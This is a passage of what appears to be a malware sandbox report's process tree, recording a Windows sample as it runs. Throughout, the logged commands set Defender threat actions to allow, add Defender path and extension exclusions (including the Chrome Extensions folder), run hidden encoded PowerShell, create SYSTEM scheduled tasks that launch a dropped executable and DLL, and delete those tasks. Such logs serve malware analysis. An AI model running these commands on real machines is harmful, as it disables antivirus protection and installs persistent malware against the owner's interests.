        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
        6⤵
        
        PID:820
  - - C:\Windows\SysWOW64\forfiles.exe
      forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
      4⤵
      PID:1756
    - - C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
        5⤵
        
        PID:956
      - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
        6⤵
        
        PID:2524
  - - C:\Windows\SysWOW64\forfiles.exe
      forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
      4⤵
      PID:1244
    - - C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
        5⤵
        
        PID:2548
      - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
        6⤵
        
        PID:1008
  - - C:\Windows\SysWOW64\forfiles.exe
      forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
      4⤵
      PID:1968
    - - C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
        5⤵
        
        PID:2248
      - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
        6⤵
        
        PID:2668
  - - C:\Windows\SysWOW64\forfiles.exe
      forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
      4⤵
      PID:1664
    - - C:\Windows\SysWOW64\cmd.exe
        
        /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
        5⤵
        
        PID:2664
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell start-process -WindowStyle Hidden gpupdate.exe /force
        6⤵
        Command and Scripting Interpreter: PowerShell
        Drops file in System32 directory
        Modifies data under HKEY_USERS
        Suspicious use of AdjustPrivilegeToken
        
        PID:2000
        
        C:\Windows\SysWOW64\gpupdate.exe
        
        "C:\Windows\system32\gpupdate.exe" /force
        7⤵
        
        PID:1972
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /CREATE /TN "gpVVSXPzH" /SC once /ST 16:15:04 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
    3⤵
    - Creates scheduled task(s)
    PID:1612
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /run /I /tn "gpVVSXPzH"
    3⤵
    PID:3064
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /DELETE /F /TN "gpVVSXPzH"
    3⤵
    PID:1836
- - C:\Windows\SysWOW64\forfiles.exe
    "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=wsf Force=True"
    3⤵
    PID:1324
  - - C:\Windows\SysWOW64\cmd.exe
      /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=wsf Force=True
      4⤵
      PID:2140
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=wsf Force=True
        5⤵
        Command and Scripting Interpreter: PowerShell
        Drops file in System32 directory
        Suspicious use of AdjustPrivilegeToken
        
        PID:2304
      - C:\Windows\SysWOW64\Wbem\WMIC.exe
        
        "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=wsf Force=True
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:328
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\nlcUipsDcFbdntMB" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:1808
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\nlcUipsDcFbdntMB" /t REG_DWORD /d 0 /reg:32
      4⤵
      Windows security bypass
      PID:2768
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\nlcUipsDcFbdntMB" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:1692
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\nlcUipsDcFbdntMB" /t REG_DWORD /d 0 /reg:64
      4⤵
      Windows security bypass
      PID:2060
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\nlcUipsDcFbdntMB" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:1404
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\nlcUipsDcFbdntMB" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:2420
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\nlcUipsDcFbdntMB" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:2200
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\nlcUipsDcFbdntMB" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:2164
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C copy nul "C:\Windows\Temp\nlcUipsDcFbdntMB\WaMlCRED\IdhYJoZzWIuMHwbv.wsf"
    3⤵
    PID:628
- - C:\Windows\SysWOW64\wscript.exe
    wscript "C:\Windows\Temp\nlcUipsDcFbdntMB\WaMlCRED\IdhYJoZzWIuMHwbv.wsf"
    3⤵
    - Modifies data under HKEY_USERS
    PID:1748
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\HwnzDfNzNWHpPtLDwZR" /t REG_DWORD /d 0 /reg:32
      4⤵
      Windows security bypass
      PID:2248
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\HwnzDfNzNWHpPtLDwZR" /t REG_DWORD /d 0 /reg:64
      4⤵
      Windows security bypass
      PID:560
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ecOJmsgAHWlsC" /t REG_DWORD /d 0 /reg:32
      4⤵
      Windows security bypass
      PID:2536
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ecOJmsgAHWlsC" /t REG_DWORD /d 0 /reg:64
      4⤵
      Windows security bypass
      PID:1244
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\epoBtGYzqLvU2" /t REG_DWORD /d 0 /reg:32
      4⤵
      Windows security bypass
      PID:2204
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\epoBtGYzqLvU2" /t REG_DWORD /d 0 /reg:64
      4⤵
      Windows security bypass
      PID:2936
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\qIYKRzUEasUn" /t REG_DWORD /d 0 /reg:32
      4⤵
      Windows security bypass
      PID:2864
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\qIYKRzUEasUn" /t REG_DWORD /d 0 /reg:64
      4⤵
      Windows security bypass
      PID:2904
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\zgoZGMcaU" /t REG_DWORD /d 0 /reg:32
      4⤵
      Windows security bypass
      PID:2140
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\zgoZGMcaU" /t REG_DWORD /d 0 /reg:64
      4⤵
      Windows security bypass
      PID:1364
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\pICeQFkDCDDquYVB" /t REG_DWORD /d 0 /reg:32
      4⤵
      Windows security bypass
      PID:1808
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\pICeQFkDCDDquYVB" /t REG_DWORD /d 0 /reg:64
      4⤵
      Windows security bypass
      PID:384
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
      4⤵
      Windows security bypass
      PID:2420
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
      4⤵
      Windows security bypass
      PID:2200
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\rhuXFflbMyLRQZzPf" /t REG_DWORD /d 0 /reg:32
      4⤵
      Windows security bypass
      PID:2144
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\rhuXFflbMyLRQZzPf" /t REG_DWORD /d 0 /reg:64
      4⤵
      Windows security bypass
      PID:2248
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\nlcUipsDcFbdntMB" /t REG_DWORD /d 0 /reg:32
      4⤵
      Windows security bypass
      PID:1160
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\nlcUipsDcFbdntMB" /t REG_DWORD /d 0 /reg:64
      4⤵
      Windows security bypass
      PID:2652
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\HwnzDfNzNWHpPtLDwZR" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:1164
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\HwnzDfNzNWHpPtLDwZR" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:2936
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ecOJmsgAHWlsC" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:2008
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ecOJmsgAHWlsC" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:2700
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\epoBtGYzqLvU2" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:1364
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\epoBtGYzqLvU2" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:1692
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\qIYKRzUEasUn" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:1972
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\qIYKRzUEasUn" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:2312
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\zgoZGMcaU" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:884
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\zgoZGMcaU" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:2000
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\pICeQFkDCDDquYVB" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:2196
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\pICeQFkDCDDquYVB" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:1052
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:2236
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:820
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\rhuXFflbMyLRQZzPf" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:1884
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\rhuXFflbMyLRQZzPf" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:2012
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\nlcUipsDcFbdntMB" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:2208
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\nlcUipsDcFbdntMB" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:2140
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /CREATE /TN "yfARWRprRqUFWeTGf" /SC once /ST 10:19:45 /RU "SYSTEM" /TR "\"C:\Windows\Temp\nlcUipsDcFbdntMB\LDIxkfUBXQlUStg\OvGGKZW.exe\" aV /kuxGdidVJ 385118 /S" /V1 /F
    3⤵
    - Drops file in Windows directory
    - Creates scheduled task(s)
    PID:668
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /run /I /tn "yfARWRprRqUFWeTGf"
    3⤵
    PID:2908
- C:\Windows\Temp\nlcUipsDcFbdntMB\LDIxkfUBXQlUStg\OvGGKZW.exe
  C:\Windows\Temp\nlcUipsDcFbdntMB\LDIxkfUBXQlUStg\OvGGKZW.exe aV /kuxGdidVJ 385118 /S
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Drops file in Program Files directory
  - Modifies data under HKEY_USERS
  PID:788
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
    3⤵
    PID:2768
  - - C:\Windows\SysWOW64\forfiles.exe
      forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
      4⤵
      PID:1972
    - - C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
        5⤵
        
        PID:2420
      - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
        6⤵
        
        PID:560
  - - C:\Windows\SysWOW64\forfiles.exe
      forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
      4⤵
      PID:296
    - - C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
        5⤵
        
        PID:2392
      - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
        6⤵
        
        PID:956
  - - C:\Windows\SysWOW64\forfiles.exe
      forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
      4⤵
      PID:2000
    - - C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
        5⤵
        
        PID:1340
      - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
        6⤵
        
        PID:1836
  - - C:\Windows\SysWOW64\forfiles.exe
      forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
      4⤵
      PID:1588
    - - C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
        5⤵
        
        PID:1160
      - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
        6⤵
        
        PID:1244
  - - C:\Windows\SysWOW64\forfiles.exe
      forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
      4⤵
      PID:2668
    - - C:\Windows\SysWOW64\cmd.exe
        
        /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
        5⤵
        
        PID:2524
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell start-process -WindowStyle Hidden gpupdate.exe /force
        6⤵
        Command and Scripting Interpreter: PowerShell
        Drops file in System32 directory
        Suspicious use of AdjustPrivilegeToken
        
        PID:1728
        
        C:\Windows\SysWOW64\gpupdate.exe
        
        "C:\Windows\system32\gpupdate.exe" /force
        7⤵
        
        PID:2864
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /DELETE /F /TN "biPxHmULFllsbMgnpt"
    3⤵
    PID:540
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True" & forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=wsf Force=True" &
    3⤵
    PID:1040
  - - C:\Windows\SysWOW64\forfiles.exe
      forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True"
      4⤵
      PID:2536
    - - C:\Windows\SysWOW64\cmd.exe
        
        /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
        5⤵
        
        PID:2104
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
        6⤵
        Command and Scripting Interpreter: PowerShell
        Drops file in System32 directory
        Suspicious use of AdjustPrivilegeToken
        
        PID:1484
        
        C:\Windows\SysWOW64\Wbem\WMIC.exe
        
        "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
        7⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:2664
  - - C:\Windows\SysWOW64\forfiles.exe
      forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=wsf Force=True"
      4⤵
      PID:2344
    - - C:\Windows\SysWOW64\cmd.exe
        
        /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=wsf Force=True
        5⤵
        
        PID:2960
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=wsf Force=True
        6⤵
        Command and Scripting Interpreter: PowerShell
        Drops file in System32 directory
        
        PID:2908
        
        C:\Windows\SysWOW64\Wbem\WMIC.exe
        
        "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=wsf Force=True
        7⤵
        
        PID:2012
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\zgoZGMcaU\RJnrkq.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "JHJXtPPPvDXVqpH" /V1 /F
    3⤵
    - Drops file in Windows directory
    - Creates scheduled task(s)
    PID:1340
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /CREATE /TN "JHJXtPPPvDXVqpH2" /F /xml "C:\Program Files (x86)\zgoZGMcaU\rZipbkL.xml" /RU "SYSTEM"
    3⤵
    - Creates scheduled task(s)
    PID:1716
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /END /TN "JHJXtPPPvDXVqpH"
    3⤵
    PID:2496
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /DELETE /F /TN "JHJXtPPPvDXVqpH"
    3⤵
    PID:804
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /CREATE /TN "HtmGfIeJlxktuW" /F /xml "C:\Program Files (x86)\epoBtGYzqLvU2\NAfHUke.xml" /RU "SYSTEM"
    3⤵
    - Creates scheduled task(s)
    PID:2824
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /CREATE /TN "beuYBzgGTLbmn2" /F /xml "C:\ProgramData\pICeQFkDCDDquYVB\usFdxfe.xml" /RU "SYSTEM"
    3⤵
    - Creates scheduled task(s)
    PID:2912
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /CREATE /TN "ykYfCTTujiceFdOqI2" /F /xml "C:\Program Files (x86)\HwnzDfNzNWHpPtLDwZR\Klzlgnj.xml" /RU "SYSTEM"
    3⤵
    - Creates scheduled task(s)
    PID:1464
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /CREATE /TN "fWcEirOkMoMQjrUKaey2" /F /xml "C:\Program Files (x86)\ecOJmsgAHWlsC\vHejJoH.xml" /RU "SYSTEM"
    3⤵
    - Creates scheduled task(s)
    PID:2060
- - C:\Windows\SysWOW64\schtasks.exe
